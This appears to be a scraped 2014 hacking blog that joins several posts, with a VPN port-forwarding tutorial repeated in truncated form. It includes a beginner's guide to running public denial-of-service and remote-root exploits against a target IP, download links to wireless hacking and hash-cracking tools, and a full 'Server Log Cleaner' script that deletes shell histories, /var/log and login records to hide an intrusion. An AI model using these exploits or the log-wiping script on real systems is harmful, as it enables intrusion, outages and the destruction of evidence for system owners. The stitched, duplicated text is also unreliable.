Sunday, 23 November 2014

Setting VPN with Port-Forwarding on VPS

Setting VPN with Port-Forwarding on VPS

Hi!
Few months ago i had a huge problem with use of my internet connection because of blocked ports, so i decided to search for some alternatives to port forwarding, because i didn't have acces to my router(it was preconfigured by ISP). After few days i have also tried using 4G LTE modem which was useless as well. Finally i search the network, gained some info(BIG Thanks to the community of HackHound) and after those few month i finally did it.
But the point is, that there is no clear tutorial on the internet how to do all these things step-by-step easy enough that some1 without any wisdom (like me before) could do. So i decided to do a little tutorial for ppl who may have the same problem. Good luck.

Step 1. Buy VPS or do something to have one.

Description: In this tutorial I will make everything on Ubuntu 12.04.5 x64. Specs don't have to be high if you will use the connection only for yourself.

Step 2. Connect to it through SSH. (It is the easiest thing on the way.)

Description: Use PuTTY if you are using Windows.

Download:

DOWNLOAD PUTTY

Step 3. Download needed stuff.

Description: As you are connected to your private VPS with Ubuntu 12.04.5 installed write following commands.






apt-get update

apt-get upgrade

wget http://swupdate.openvpn.org/as/openvpn-as-2.0.10-Ubuntu12.amd_64.deb

dpkg -i openvpn-as-2.0.10-Ubuntu12.amd_64.deb

passwd openvpn <-- Set password(REMEMBER IT!)


Click 'Go' and download your private APP to connect to your VPN.
Install downloaded software.
It should appear as a tray, click it and enter your credentials Login: openvpn Password: (as u set before). Click yes in the following messagebox.
If you see "Connected to xxx.xxx.xxx.xxx" then you are on the good way.







Step 4. Get info about yourself.

Decription: run command-line in your Windows
type:






ipconfig


Search for IP beginning with 172.xxx.xxx.xxx
Remember it! It is your IP in NAT it will be now called as USER-IP.
IP of your VPS in NAT is all the same as USER-IP but ends with 1 (like: 172.xxx.xxx.1) Remember it! It will be now called VPS-NAT-IP.
Your public IP of your VPS(which you have used to connect to your server) will be now called VPS-PUBLIC-IP.

Step 5. Download and edit pre-made IPTABLES RULES.

Description: These rules allows incoming packets on certain port to your VPS be redirected to specified port to your PC inside VPN's NAT tables.

Download included in post iptables.txt, edit it and replace string "4789" with your PORT you want to unblock and USER-IP, VPS-NAT-IP, VPS-PUBLIC-IP, with your credentials.(use Notepad++ for example). Then upload it to your VPS.

After uploading type in putty:






iptables-restore < iptables.txt


Step 6. Test you connection.

Description: Use for it for example CanYouSeeMe.org. Remember that it will only recognize that port is unblocked if there is something that is listening on it. Else it will just refuse the connection. Good app to listen on windows is portlistener(Download link below).

LINK

Step 7. Do some feedback, I will try to help with any problem!

iptables.txt

Saturday, 15 November 2014

HOW TO USE PHP, PERL, PYTHON AND C EXPLOITS

Got Bored So I tough i should write A post On How To use PHP , Perl , Python and C exploits for new generation of hackers and Beginners.

PHP
________
Exploit Title :- DoS exploit for Filezilla FTP Server 0.9.20 beta

Exploit :- www.1337day.com/exploit/6238

First you need to install PHP onto your computer.
WAMP is a free web server that comes with PHP
Download Wamp :- www.wampserver.com

Next, paste the PHP exploit into notepad
and save it as “exploit.php”.

On line 13 of this exploit you will see:
$address = gethostbyname(‘192.168.1.3’); here you will have
to edit in the IP address of the target

Save this edited file into the PHP directory on your server that
contains the PHP executable file

In WAMP the directory would be C:\wamp\bin\php\php5.x.x

Next open up the command prompt or terminal
and go to the PHP directory by using the CD (change directory)
command followed by the directory location.
C:\wamp\bin\php\php5.2.5>
php exploit.php

Undefined variable:.....on line 18

If you go to line 18 of this exploit , will see the line

$junk.=”../../../sun-tzu/../../../sun-tzu/../../../sun-tzu”;

remove it,run the exploit again

+++++++++++++++++++++++

PERL
________
Download and install the appropriate version of Active Perl
Download Active Perl :- www.activestate.com/activeperl/downloads

Exploit Title :- DoS exploit for WinFTP Server 2.3.0

Exploit :- www.1337day.com/exploit/6613

Edit the options like the target server and others as needed.
Then save the file as “exploit.pl”.
As you can see Pearl exploits begin with “!/usr/bin/perl”.

Open CMD or Terminal and change into the directory with the exploit
using the CD (change directory command). Then run the exploit by typing:
“perl exploit.pl”.

C:\Documents and Settings\sevic\Desktop\perl exploit.pl

+++++++++++++++++++++++

PYTHON
___________
Download and Install Python
Python:http://www.python.org/download/

Exploit Title :- FTPDMIN v. 0.96 LIST Denial of Service(DoS):

Exploit :- www.1337day.com/exploit/6342

As you can see Python exploits begin with As  "# usr/bin/python"

paste the python exploit into notepad or any word processor
and save it as “exploit.py" to folder where you installed Python ,
C:\Python is by default
Open CMD or Terminal and change into the directory with the exploit
using the CD (change directory command).
Then run the exploit by typing:
“exploit.py”.

C:\Python25\exploit.py

+++++++++++++++++++++++

C\C++
___________
C/C++ are the most popular programming languages used in developing exploit code.
Some C/C++ code can be compiled with any compiler and on any operating system. There are also C/C++ scripts that are made to be compiled by a particular compiler, or in a particular operating system. You can usually find this information commented in the top of the script. Below is a list of the most popular compilers for each
operating system.

Windows
• Microsoft Visual C++
• Borland C++
• Dev-C++

Mac
• MrC/MrCpp
• Xcode

Linux
• GCC

Most C/C++ exploit code is made to be compiled in Linux.
If you wish to run one them but you’re only option is Windows, then you can use Cygwin . Cygwin is a Linux-like environment that runs in Windows and acts as a Linux emulation layer, allowing you to run Linux scripts in windows. Although many linux C/C++ exploit scripts will work with Cygwin, there are
also many may not. I will show you how you can use Cygwin right after I give you an example of compiling and running a C/C++ script in Linux

Exploit Title :- BeroFTPD 1.3.4(1) Linux x86 remote root exploit

Exploit :- www.1337day.com/exploit/8277

Save exploit as exploit.c
run the terminal and compile it:
#gcc -o whatever exploit.c
To run the exploit, simply type “./whatever”.

run this script against a vulnerable box and you will got root acces

If you only have access to a Windows machine, and you come across a C/C++
script that is only meant to be compiled in Linux, then you can use Cygwin
to make it possible in Windows


Cygwin

1. Download Cygwin from http://www.cygwin.com/.
Using the same exploit as the last example, save and move it into the
“C:\cygwin” directory as “exploit.c”.
First you must change the directory to the home directory (C:\cygwin) by
using the command “cd /”. Next use the “ls” command to display all the files
in the current directory. You should see “exploit.c
compile it with “gcc -o whatever exploit.c
To run the exploit, simply type “./exploit”.

+++++++++++++++++++++++
Conclusion:

The more exploits you run, the more you will notice that half of
them may not work. Many exploits are created and tested in specific
environments and the expected outcome only happens when the exploit
is run in the exact same environment.That is another reason why programming knowledge is needed, so you could edit the exploit script to work for you

Nwht - Network Wireless Hacking Tools

Network Wireless Hacking Tools, new version and support your kali linux.



DOWNLOAD LINK :- https://www.dropbox.com/s/kdn4znccu7t4v8r/NWHT.zip

Server Log Cleaner Linux



#!/bin/sh
# Coded By Red H4t V!per (Vanda)
# chmod 0755 scriptname.sh >> ./scriptname.sh

echo "[*] Going TO Delete Log Servers ... "
find / -name *.bash_history -exec rm -rf {} \;
find / -name *.bash_logout -exec rm -rf {} \;
find / -name "log*" -exec rm -rf {} \;
find / -name *.log -exec rm -rf {} \;
rm -rf /tmp/logs
rm -rf $HISTFILE
rm -rf /root/.ksh_history
rm -rf /root/.bash_history
rm -rf /root/.ksh_history
rm -rf /root/.bash_logout
rm -rf /usr/local/apache/logs
rm -rf /usr/local/apache/log
rm -rf /var/apache/logs
rm -rf /var/apache/log
rm -rf /var/run/utmp
rm -rf /var/logs
rm -rf /var/log
rm -rf /var/adm
rm -rf /etc/wtmp
rm -rf /etc/utmp

echo "[*] Done . Good Luck;)" 

Decrypt3R-V3

what new on dEcrypt3r V.3 ?? more than 18 features inside this toolsa



This is my dEcrypt3r V.3 interface



Menu 1 > Crypt0


Menu 2 > h4sh-Cr4ck



Menu 3 > H4sh63n3R470R



Menu 4 > 3nc0din6



Menu 5 > Hash Identifier



DOWNLOAD LINK :- https://www.dropbox.com/s/xvdkh5x5dnak9xl/dEcrypt3r.zip


Setting VPN with Port-Forwarding on VPS

Hi!
Few months ago i had a huge problem with use of my internet connection because of blocked ports, so i decided to search for some alternatives to port forwarding, because i didn't have acces to my router(it was preconfigured by ISP). After few days i have also tried using 4G LTE modem which was useless as well. Finally i search the network, gained some info(BIG Thanks to the community of HackHound) and after those few month i finally did it. 
But the point is, that there is no clear tutorial on the internet how to do all these things step-by-step easy enough that some1 without any wisdom (like me before) could do. So i decided to do a little tutorial for ppl who may have the same problem. Good luck.


Search for IP beginning with 172.xxx.xxx.xxx
Remember it! It is your IP in NAT it will be now called as USER-IP.
IP of your VPS in NAT is all the same as USER-IP but ends with 1 (like: 172.xxx.xxx.1) Remember it! It will be now called VPS-NAT-IP.
Your public IP of your VPS(which you have used to connect to your server) will be now called VPS-PUBLIC-IP.

Step 5. Download and edit pre-made IPTABLES RULES.

Description: These rules allows incoming packets on certain port to your VPS be redirected to specified port to your PC inside VPN's NAT tables.

Download included in post iptables.txt, edit it and replace string "4789" with your PORT you want to unblock and USER-IP, VPS-NAT-IP, VPS-PUBLIC-IP, with your credentials.(use Notepad++ for example). Then upload it to your VPS.

After uploading type in putty: